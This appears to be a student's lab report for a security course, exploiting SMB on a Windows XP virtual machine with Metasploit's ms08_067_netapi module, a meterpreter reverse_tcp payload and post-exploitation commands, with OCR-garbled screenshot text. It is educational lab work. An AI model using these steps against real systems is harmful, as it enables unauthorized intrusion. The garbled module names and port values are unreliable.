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Power on the following VMs for this assignment:

Internal Kali (Attacker)

pfSense VM (power on only)

Windows XP, Windows 2022, or Windows 7 (depending on the subtasks)

Task A: Exploit SMB on Windows XP with Metasploit
1. Run a port scan against the Windows XP using the nmap command to identify
open ports and services
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I ran an nmap scan to see if there were any open ports.

2. Identify the SMB port number (default: 445) and confirm that it is open



Initiating Parallel DNS resolution of 1 host. at 16:00
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Confirming the port is open at the end of the nmap scan

3. Launch Metasploit Framework and search for the exploit module:
ms08_067_netapi
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Launching metasploit; searching the netapi exploit command



4. Use ms08_067_netapi as the exploit module and set meterpreter reverse_tcp as
the payload

IJ_:l Kali - Internal Miforkstation on CY301-IHEMROO2 - Yirtual Machine Connection — O oo
File  Action Media  View Help
@O | uify O |Bg

dm P oD

root(@kali: ~

Actions Edit View Help

fo -d exploit/windows/wins/ms@4_ @45 wins
1 documentation for ms@4_@45_wins, then opening /tmp/ms@4_045_wi
949-n@ c.html in a browser ...
yrch ms@8_067_netapi

Matching Modules

# MName Disclosure Date Rank Check
cription

@ exploit/windows/smb/msS@8_067 netapl 2008-18-28 g
8-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a ¢ ' nam r index. For example info @
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Using the exploit searched in the last step; configuring the payload

5. Use 5525 as the listening port number. Configure the rest of the parameters.
Display your configurations and exploit the target
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> show options
Module options (exploit/windows/smb/ms@s&_067_netapi):
R Current Setting Reguired Descriptien

RHOSTS 192.168.108.14 Ves The target host(s),
.metasploit.com/docs/u
t/basics/using-meta

RPORT & v The SMB service port (TCP)

SMEPIPE : WE The pipe name to use (BROWSER, SRVSV

C)
Payload options (windows/meterpreter/reverse_tcp):
EE Current Setting Reguired Description
EXITFUNC thread Ve Exit technigue (Acct

thread, process, non
LHOST

vy be specified)
LPORT 3525 T The listen port
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Setting rhost to Windows XP; Setting lhost to Internal Kali; Setting port to 5525; Showing
options to display configurations before performing the exploit

Post Exploitation

6. Execute the screenshot command to take a screenshot of the target machine if the
exploit is successful
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Running exploit

In the meterpreter shell, display the target system’s local date and time
In the meterpreter shell, get the SID of the user
In the meterpreter shell, get the current process identifier

. In the meterpreter shell, get system information about the target
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Domain : WORKGROUP
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7. Using the localtime command to get local date and time
8. Using the getuid command to get the SID of the user

9. Using the getpid command to get the current process identifier

10. Using the sysinfo command to get system information about the target




